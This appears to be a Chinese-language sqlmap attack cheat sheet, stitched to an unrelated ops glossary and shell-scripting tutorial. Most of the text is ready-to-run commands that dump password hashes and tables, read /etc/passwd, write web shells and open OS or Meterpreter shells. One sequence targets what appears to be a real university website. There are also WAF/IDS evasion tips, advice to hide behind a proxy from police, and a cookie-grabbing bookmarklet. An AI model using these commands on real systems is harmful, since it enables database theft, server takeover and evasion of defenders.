    1.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0
    2.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –passwords -U root –union-use -v 2
    3.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2
    4.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs
    5.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –sql-shell -v 2
    6.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2
    7.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2
    8.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-cmd “id” -v 1
    9.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-shell –union-use -v 2
    10.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1
    11.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1
    12.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1
    13.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
    14.
    ./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –eta
    15.
    ./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”
    16.
    ./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass”
    17.

    ./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”
    18.
    ./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/get_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
    19.
    ./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mssql/get_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1
    20.
    ./sqlmap.py -u “http://www.evil0x.com/ mysql/get_int_4.php?id=1″ –common-tables -D testdb –banner



    简单的注入流程

    1.读取数据库版本,当前用户,当前数据库
    sqlmap -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db -v 1
    2.判断当前数据库用户权限
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –privileges -U 用户名 -v 1
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –is-dba -U 用户名 -v 1
    3.读取所有数据库用户或指定数据库用户的密码
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –users –passwords -v 2
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –passwords -U root -v 2
    4.获取所有数据库
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –dbs -v 2
    5.获取指定数据库中的所有表
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –tables -D mysql -v 2
    6.获取指定数据库名中指定表的字段
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –columns -D mysql -T users -v 2
    7.获取指定数据库名中指定表中指定字段的数据
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
    8.file-read读取web文件
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
    9.file-write写入文件到web
    sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest

    ./sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt
    将本地的test.txt写入到站点服务器的html目录下。


    python sqlmap/sqlmap.py -help


    Options(选项): 

    --version 显示程序的版本号并退出 


    -h, --help 显示此帮助消息并退出 


    -v VERBOSE 详细级别:0-6(默认为1) 


       


    Target(目标): 


    以下至少需要设置其中一个选项,设置目标URL。 

    -d DIRECT 直接连接到数据库。 


    -u URL, --url=URL 目标URL。 


    -l LIST 从Burp或WebScarab代理的日志中解析目标。 


    -r REQUESTFILE 从一个文件中载入HTTP请求。 


    -g GOOGLEDORK 处理Google dork的结果作为目标URL。 


    -c CONFIGFILE 从INI配置文件中加载选项。 


       


    Request(请求): 


    这些选项可以用来指定如何连接到目标URL。 


    --data=DATA 通过POST发送的数据字符串 


    --cookie=COOKIE HTTP Cookie头 


    --cookie-urlencode URL 编码生成的cookie注入 


    --drop-set-cookie 忽略响应的Set - Cookie头信息 


    --user-agent=AGENT 指定 HTTP User - Agent头 


    --random-agent 使用随机选定的HTTP User - Agent头 


    --referer=REFERER 指定 HTTP Referer头 


    --headers=HEADERS 换行分开,加入其他的HTTP头 


    --auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) 


    --auth-cred=ACRED HTTP身份验证凭据(用户名:密码) 


    --auth-cert=ACERT HTTP认证证书(key_file,cert_file) 


    --proxy=PROXY 使用HTTP代理连接到目标URL 


    --proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) 


    --ignore-proxy 忽略系统默认的HTTP代理 


    --delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 


    --timeout=TIMEOUT 等待连接超时的时间(默认为30秒) 


    --retries=RETRIES 连接超时后重新连接的时间(默认3) 


    --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 



    --safe-url=SAFURL 在测试过程中经常访问的url地址 


    --safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL 


       


    Optimization(优化): 


    这些选项可用于优化SqlMap的性能。 


       


    -o 开启所有优化开关 


    --predict-output 预测常见的查询输出 


    --keep-alive 使用持久的HTTP(S)连接 


    --null-connection 从没有实际的HTTP响应体中检索页面长度 


    --threads=THREADS 最大的HTTP(S)请求并发量(默认为1) 


       


    Injection(注入): 


    这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 


       


    -p TESTPARAMETER 可测试的参数(S) 


    --dbms=DBMS 强制后端的DBMS为此值 


    --os=OS 强制后端的DBMS操作系统为这个值 


    --prefix=PREFIX 注入payload字符串前缀 


    --suffix=SUFFIX 注入payload字符串后缀 


    --tamper=TAMPER 使用给定的脚本(S)篡改注入数据 


       


    Detection(检测): 


    这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 


       


    --level=LEVEL 执行测试的等级(1-5,默认为1) 


    --risk=RISK 执行测试的风险(0-3,默认为1) 


    --string=STRING 查询时有效时在页面匹配字符串 


    --regexp=REGEXP 查询时有效时在页面匹配正则表达式 


    --text-only 仅基于在文本内容比较网页 


       


    Techniques(技巧): 


    这些选项可用于调整具体的SQL注入测试。 


       


    --technique=TECH SQL注入技术测试(默认BEUST) 


    --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 


    --union-cols=UCOLS 定列范围用于测试UNION查询注入 


    --union-char=UCHAR 用于暴力猜解列数的字符 


       


    Fingerprint(指纹): 


    -f, --fingerprint 执行检查广泛的DBMS版本指纹 


       


    Enumeration(枚举): 


    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 


    的SQL语句。 


    -b, --banner 检索数据库管理系统的标识 


    --current-user 检索数据库管理系统当前用户 


    --current-db 检索数据库管理系统当前数据库 


    --is-dba 检测DBMS当前用户是否DBA 


    --users 枚举数据库管理系统用户 


    --passwords 枚举数据库管理系统用户密码哈希 


    --privileges 枚举数据库管理系统用户的权限 


    --roles 枚举数据库管理系统用户的角色 


    --dbs 枚举数据库管理系统数据库 


    --tables 枚举的DBMS数据库中的表 


    --columns 枚举DBMS数据库表列 

    --dump 转储数据库管理系统的数据库中的表项 


    --dump-all 转储所有的DBMS数据库表中的条目 


    --search 搜索列(S),表(S)和/或数据库名称(S) 


    -D DB 要进行枚举的数据库名 


    -T TBL 要进行枚举的数据库表 


    -C COL 要进行枚举的数据库列 


    -U USER 用来进行枚举的数据库用户 


    --exclude-sysdbs 枚举表时排除系统数据库 


    --start=LIMITSTART 第一个查询输出进入检索 


    --stop=LIMITSTOP 最后查询的输出进入检索 


    --first=FIRSTCHAR 第一个查询输出字的字符检索 


    --last=LASTCHAR 最后查询的输出字字符检索 


    --sql-query=QUERY 要执行的SQL语句 


    --sql-shell 提示交互式SQL的shell 


       


    Brute force(蛮力): 


    这些选项可以被用来运行蛮力检查。 

    --common-tables 检查存在共同表 


    --common-columns 检查存在共同列 


       


    User-defined function injection(用户自定义函数注入): 


    这些选项可以用来创建用户自定义函数。 


       


    --udf-inject 注入用户自定义函数 


    --shared-lib=SHLIB 共享库的本地路径 


       


    File system access(访问文件系统): 


    这些选项可以被用来访问后端数据库管理系统的底层文件系统。 


       


    --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 


    --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 


    --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 


       


    Operating system access(操作系统访问): 


    这些选项可以用于访问后端数据库管理系统的底层操作系统。 


    --os-cmd=OSCMD 执行操作系统命令 


    --os-shell 交互式的操作系统的shell 


    --os-pwn 获取一个OOB shell,meterpreter或VNC 


    --os-smbrelay 一键获取一个OOB shell,meterpreter或VNC 


    --os-bof 存储过程缓冲区溢出利用 


    --priv-esc 数据库进程用户权限提升 


    --msf-path=MSFPATH Metasploit Framework本地的安装路径 


    --tmp-path=TMPPATH 远程临时文件目录的绝对路径 


       


    Windows注册表访问: 


    这些选项可以被用来访问后端数据库管理系统Windows注册表。 


       


    --reg-read 读一个Windows注册表项值 


    --reg-add 写一个Windows注册表项值数据 


    --reg-del 删除Windows注册表键值 


    --reg-key=REGKEY Windows注册表键 


    --reg-value=REGVAL Windows注册表项值 


    --reg-data=REGDATA Windows注册表键值数据 


    --reg-type=REGTYPE Windows注册表项值类型 


    General(一般): 


       


    这些选项可以用来设置一些一般的工作参数。 


    -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 


    -s SESSIONFILE 保存和恢复检索会话文件的所有数据 


    --flush-session 刷新当前目标的会话文件 


    --fresh-queries 忽略在会话文件中存储的查询结果 


    --eta 显示每个输出的预计到达时间 


    --update 更新SqlMap 


    --save file保存选项到INI配置文件 


    --batch 从不询问用户输入,使用所有默认配置。 


       


    Miscellaneous(杂项): 


    --beep 发现SQL注入时提醒 


    --check-payload IDS对注入payloads的检测测试 


    --cleanup SqlMap具体的UDF和表清理DBMS 


    --forms 对目标URL的解析和测试形式 


    --gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 


    --page-rank Google dork结果显示网页排名(PR) 

    --parse-errors 从响应页面解析数据库管理系统的错误消息 


    --replicate 复制转储的数据到一个sqlite3数据库 


    --tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 


    --wizard 给初级用户的简单向导界面 



    注入点:http://testasp.vulnweb.com/Login.asp
    几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass 
     sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
     sqlmap.py -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"




    注入点:http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7




    获取所有数据库名称
    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --dbs




    获取当前数据库名称
    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --current-db




    获取当前用户名称
    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --current-user




    获取全部表段


    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --tables -D 数据库名称






    获取全部字段
    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --columns -T 表段 -D 数据库名称






    获取字段内容
    sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --dump -C username,password  -T 表段 -D 数据库名称






    1)判断当前用户是否是dba
    sqlmap.py -u 网址 --is-dba -v 1
    2)--users:列出数据库管理系统用户
    sqlmap.py -u 网址 --users -v 0


    3)--passwords:数据库用户密码(hash)
    sqlmap.py -u 网址 --passwords -v 0
    sqlmap.py -u 网址 --passwords -U sa -v 0


    4)查看用户权限
    sqlmap.py -u 网址 --privileges -v 0
    sqlmap.py -u 网址 --privileges -U postgres -v 0


    5)--dbs可以利用的数据库
    sqlmap.py -u 网址 --dbs -v 0


    6)--tables列数据库表
    sqlmap.py -u 网址 --tables -D "information_scheam"


    -D:指定数据名称


    7)--columns 列出表中的列名
    sqlmap.py -u 网址 --columns -T "user" -D "mysql" -v 1


    -T:指定表名,-D:指定库名


    8)--dump列表中指定列的内容
    sqlmap.py -u 网址 --dump -T "users" -D "testdb"
    -C:可以指定字段


    指定列的范围为2到4
    sqlmap.py -u 网址 --dump -T "users" -D "testdb"  --start 2 --stop 4 -v 0


    9)--dumap-all列出所有数据库,所有表内容
    sqlmap.py -u 网址 --dump-all -v 0








    sqlmap注入技巧-绕过WAF和IDS




    刚刚群里有个哥们发了个注入点,有IDS防火墙,请求过于频繁就会封杀IP
    有个思路,抛砖引玉,各位大牛请轻拍
    sqlmap.py --proxy http://127.0.0.1:8087 -u 你懂得 -v 3 –dbms “MySQL” --tamper “space2morehash.py” --referer“http://www.google.com”  --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
    参数解释 :
    --proxy //这个是代理的IP,你不用代理不用VPN就不怕被查水表么。。。
    -u  //这个不懂的面壁去
    -v 3 //这个是注入的详细级别1-5
    --dbms "MySQL"  //指定数据库
    --tamper “space2morehash.py”  //载入绕过WAF防火墙的脚本
    --referer“http://www.google.com”  //模拟来源,就是从哪个网页跳转过来的。如果不懂可以谷歌referer
    --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"   模拟谷歌蜘蛛,一般都不会限制蜘蛛爬网站。




    更多命令运用:
    http://wenku.baidu.com/link?url=eMzrblqUDfXDaosGNkAKnthsT4AA79BEgd5XUnD624yqefBbHaqZk-lVx3pns2M6tApuP7bbNYpPTHGBgiCxdutlUKFGtdmJj80usI2nBuS


    sqlmap注入方式普及


    0.详细参数详解:http://pan.baidu.com/share/link?shareid=503193&uk=3223979763
    1. 基础用法:
    ./sqlmap.py -u “注入地址” -v 1 --dbs   // 列举数据库
    ./sqlmap.py -u “注入地址” -v 1 --current-db   // 当前数据库
    ./sqlmap.py -u “注入地址” -v 1 --users    // 列数据库用户
    ./sqlmap.py -u “注入地址” -v 1 --current-user  // 当前用户
    ./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库”   // 列举数据库的表名
    ./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库”   // 获取表的列名
    ./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列
    已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
    2. sqlmap post注入
    我们在使用Sqlmap进行post型注入时,
    经常会出现请求遗漏导致注入失败的情况。
    这里分享一个小技巧,即结合burpsuite来使用sqlmap,
    用这种方法进行post注入测试会更准确,操作起来也非常容易。
    1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
    2. 配置burp代理(127.0.0.1:8080)以拦截请求
    3. 点击login表单的submit按钮
    4. 如下图,这时候Burp会拦截到了我们的登录POST请求
    5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下


    6. 运行sqlmap并使用如下命令:
    ./sqlmap.py -r search-test.txt -p tfUPass
    这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
    而-p 大家应该比较熟悉,指定注入用的参数。
    3,sqlmap  cookies注入
    sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1"  --dbs --level 2
    2.默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用--level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我们直接在原有的基础上面加上 --level 2 即可
    利用sqlmap cookies注入突破用户登录继续注入
    先把用户登陆的cookie拿到吧,
    在收藏夹添加一个链接cookies属性:
    名字自己取
    javascript:alert(document.cookie),,需要获取当前cookie的时候,
    直接点一下这个链接,然后复制一下弹出对话框
    里的cookie值就搞定了
    sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid --dbms mssql --cookie="info=username=test"
    -p是指指定参数注入
    4. sqlmap遇到url重写的注入
    哪里存在注入就加上 * 号
    1
    ./sqlmap.py -u "http://www.cunlide.com/id1/1*/id2/2"
    5.sqlmap 编码绕waf注入
    ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper "space2morehash.py"
    在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载




    sqlmap读文件
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-read “/etc/passwd"
    sqlmap写文件
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-write /localhost/mm.php --file-dest/var/www/html/xx.php -v 2




    sqlmap分段脱裤
    sqlmap.py -u url -D "data"  -T "tables" -C "username,password,email" --dump --threads=5 --start=1 --stop=5000
    其他基础:
    sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --current-user #获取当前用户名称
    sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql" --current-db  #获取当前数据库名称
    sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql"--tables  -D "db_name" #列表名
    sqlmap -u "http://url/news?id=1" --level=3 --smart  --dbms "Mysql" --columns -T "tablename" users-D "db_name" -v 0 #列字段
    sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql"  --dump  -C "column_name"  -T "table_name" -D "db_name" -v 0   #获取字段内容






    ******************信息获取******************
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users  #列数据库用户
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列数据库
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #数据库用户密码
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root  -v 0 #列出指定用户数据库密码
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有数据库所有表 
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看权限
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定用户权限
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是数据库管理员
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚举数据库用户角色
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #导入用户自定义函数(获取系统权限!)
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出当前库所有表
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-check #是否支持union 注入
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查询表记录
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-test #union 语句测试
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-use --banner #采用union 注入
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-test --union-tech orderby #union 配合 order by
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--method "POST" -- data "id=1&cat=2" #post注入
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #获取banner信息
    sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指纹判别数据库类型
    sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入
    sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #执行指定sql命令


    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #执行系统命令
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系统交互shell
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反弹shell
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #读取win系统注册表
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs-o "sqlmap.log" #保存进度
    sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs  -o "sqlmap.log" --resume  #恢复已保存进度


    ./sqlmap.py -u “http://www.91ri.org/ id1/1*/id2/2″
    "Show.asp" --cookie "id=9" --table --level 2
    --forms
    --data "data"
    --delay 0.5
    --safe-freq  25
    -v 3 --dbs  --batch --tamper "base64encode.py"
    sqlmap.py -u url -D "data"  -T "tables" -C "username,password,email" --dump-all -v 



    展开全文
  • Shell编程-运维

    千次阅读 2019-02-19 16:35:34
    什么是运维 术语名词 IDC--(Internet Data Center)互联网数据中心,主要服务包括整机租用、服务器托管、机柜租用、机房租用、专线接入和网络管理服务等。广义上的IDC业务,实际上就是数据中心所提供的一切服务...

    什么是运维

    术语名词

    • IDC--(Internet Data Center)互联网数据中心,主要服务包括整机租用、服务器托管、机柜租用、机房租用、专线接入和网络管理服务等。广义上的IDC业务,实际上就是数据中心所提供的一切服务。客户租用数据中心的服务器和带宽,并利用数据中心的技术力量,来实现自己对软、硬件的要求,搭建自己的互联网平台,享用数据中心所提供的一系列服务。
    • ISP--(Internet Service Provider)互联网服务提供商,即向广大用户综合提供互联网接入业务、信息业务、和增值业务的电信运营商。
    • ICP--(Internet Content Provider)互联网内容提供商,向广大用户综合提供互联网信息业务和增值业务的电信运营商。 根据中华人民共和国国务院令第292号《互联网信息服务管理办法》规定,国家对提供互联网信息服务的ICP实行许可证制度。从而,ICP证成为网站经营的许可证,经营性网站必须办理ICP证,否则就属于非法经营。因此,办理ICP证是企业网站合法经营的需要.
    • CDN--(Content Delivery Network)内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。 CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
    • LVS--(Linux Virtual Server)的简写,意即Linux虚拟服务器,是一个虚拟的服务器集群系统。LVS集群采用IP负载均衡技术和基于内容请求分发技术。调度器具有很好的吞吐率,将请求均衡地转移到不同的服务器上执行,且调度器自动屏蔽掉服务器的故障,从而将一组服务器构成一个高性能的、高可用的虚拟服务器。整个服务器集群的结构对客户是透明的,而且无需修改客户端和服务器端的程序。为此,在设计时需要考虑系统的透明性、可伸缩性、高可用性和易管理性。
    • CGI--(Common Gateway Interface)通用网关接口。CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体

    • GSLB--(Global Server Load Balance,全局负载均衡)作为 CDN 系统架构中最核心的部分,负责流量调度.基于DNS的GSLB 绝大部分使用负载均衡技术的应用都通过域名来访问目的主机,在用户发出任何应用连接请求时,首先必须通过DNS请求获得服务器的IP地址,基于DNS的GSLB正是在返回DNS解析结果的过程中进行智能决策,给用户返回一个最佳的服务IP。用户应用流程与没有GSLB时未发生任何变化。这也是市场上主流的GSLB技术。

    • BOSS--(Business & Operation Support System,BOSS)是业务运营支撑系统。通常所说的BOSS分为四个部分:计费及结算系统、营业与账务系统、客户服务系统和决策支持系统。BOSS从业务层面来看就是一个框架,来承载业务系统、CRM系统、计费系统。实现统一框架中的纵向、横向管理。该系统最早由电信部门的计费系统发展演变而来,基本功能包括客户资料管理、产品管理、用户订购管理、计费、出帐、结算等,负责登记客户资料、管理用户订购服务的提供、实时的根据不同产品、套餐的资费标准计算业务(手机、固定电话用户通话时、点播收视、宽带流量与时间等)的消费金额,准实时及定期计算用户帐单,实时或定期结算用户各种消费费用。

    管理

    • 配置管理
    • 事件管理
    • 问题管理
    • 成本管理
    • 容量管理
    • 资源管理
    • 需求管理

    规划

    • 架构规划
    • IDC规划
    • 服务器规划
    • ISP规划
    • 预算规划

    优化

    • 速度优化
    • 成本优化
    • ISP优化
    • CDN优化
    • 告警优化
    • 故障预案
    • 故障演习

    安全

    • 漏洞扫描
    • 域名劫持扫描
    • 挂马扫描
    • CGI扫描
    • 网页篡改扫描

    告警

    • 告警模型
    • 告警故障
    • 告警统计
    • 告警关联
    • 拨测
      定时curl一下某个url,有问题就告警.
      日志告警:5分钟Error大于xxx次告警。
      指标告警:cpu使用率大于xxx告警。
      

    告警对象可以分为两种:

    • 业务规则监控
    • 系统可靠性监控

    对于业务规则监控可以举一个游戏的例子。比如游戏角色在一定装备的情况下,单次打击的伤害输出应该是有一个上限,如果超过了就说明有作弊的情况。又比如斗地主游戏里一个人的连胜场次是有一定上限的,每天的胜率是有一定上限,如果超出平均值太多就可能是作弊。业务规则监控的不是硬件,也不是软件是否工作正常。而是软件是否按照业务规则实现的,是否有漏洞。也可以理解为对“正确性”的监控。

    系统可靠性监控是最常见的监控形式,比如发现是不是服务器挂掉了,服务是不是过载了等等。对于大部分后台服务,系统可以抽象建模成这个样子:

    监控

    • URL监控
    • LVS监控
    • IDC监控
    • 数据库监控
    • 模块监控
    • 站点监控
    • 响应监控

    系统/平台

    • CDN平台
    • 静态应用平台
    • 动态应用平台
    • 点击流系统
    • 数据库平台
    • 下载平台
    • 网络健康系统
    • 经营分析系统
    • 存储平台
    • 流媒体平台
    • 质量监测系统
    • GSLB管理系统
    • BOSS系统
    • 立体监控系统
    • 自动发布系统
    • 站点分析系统
    • 统一告警系统
    • 运维工具系统

    规范

    • 项目立项规范
    • 运营故障分级和处罚规范
    • 重大运营故障处理流程
    • 环境一致性规范
    • 运营资源申请流程
    • IDC变更流程
    • 预算管理规范

    linux发行版

    • RedHat: Fedora, CentOS, Mandriva
    • SuSE: SLES, OpenSuSE
    • Debian: Ubuntu
    • Gentoo:
    • BackTrace/kali linux (黑客)

    运维第一工具-shell编程

    shell历史

    Shell的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive),Shell还有一种执行命令的方式称为批处理(Batch),用户事先写一个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地敲命令。Shell脚本和编程语言很相似,也有变量和流程控制语句,但Shell脚本是解释执行的,不需要编译,Shell程序从脚本中一行一行读取并执行这些命令,相当于一个用户把脚本中的命令一行一行敲到Shell提示符下执行。

    由于历史原因,UNIX系统上有很多种Shell:

    1.sh(Bourne Shell):由Steve Bourne开发,各种UNIX系统都配有sh。

    2.csh(C Shell):由Bill Joy开发,随BSD UNIX发布,它的流程控制语句很像C语言,支持很多Bourne Shell所不支持的功能:作业控制,命令历史,命令行编辑。

    3.ksh(Korn Shell):由David Korn开发,向后兼容sh的功能,并且添加了csh引入的新功能,是目前很多UNIX系统标准配置的Shell,在这些系统上/bin/sh往往是指向/bin/ksh的符号链接。

    4.tcsh(TENEX C Shell):是csh的增强版本,引入了命令补全等功能,在FreeBSD、Mac OS X等系统上替代了csh。

    5.bash(Bourne Again Shell):由GNU开发的Shell,主要目标是与POSIX标准保持一致,同时兼顾对sh的兼容,bash从csh和ksh借鉴了很多功能,是各种Linux发行版标准配置的Shell,在Linux系统上/bin/sh往往是指向/bin/bash的符号链接。虽然如此,bash和sh还是有很多不同的,一方面,bash扩展了一些命令和参数,另一方面,bash并不完全和sh兼容,有些行为并不一致,所以bash需要模拟sh的行为:当我们通过sh这个程序名启动bash时,bash可以假装自己是sh,不认扩展的命令,并且行为与sh保持一致。

    6.zsh 的命令补全功能非常强大,可以补齐路径,补齐命令,补齐参数等。

    vim /etc/passwd
    其中最后一列显示了用户对应的shell类型
    
    root:x:0:0:root:/root:/bin/bash
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    itcast:x:1000:1000:itcast,,,:/home/itcast:/bin/bash
    ftp:x:115:125:ftp daemon,,,:/srv/ftp:/bin/false
    

    用户在命令行输入命令后,一般情况下Shell会fork并exec该命令,但是Shell的内建命令例外,执行内建命令相当于调用Shell进程中的一个函数,并不创建新的进程。以前学过的cd、alias、umask、exit等命令即是内建命令,凡是用which命令查不到程序文件所在位置的命令都是内建命令,内建命令没有单独的man手册,要在man手册中查看内建命令,应该

    $ man bash-builtins
    

    如export、shift、if、eval、[、for、while等等。内建命令虽然不创建新的进程,但也会有Exit Status,通常也用0表示成功非零表示失败,虽然内建命令不创建新的进程,但执行结束后也会有一个状态码,也可以用特殊变量$?读出。

    执行脚本

    编写一个简单的脚本test.sh:

    #! /bin/sh
    cd ..
    ls
    

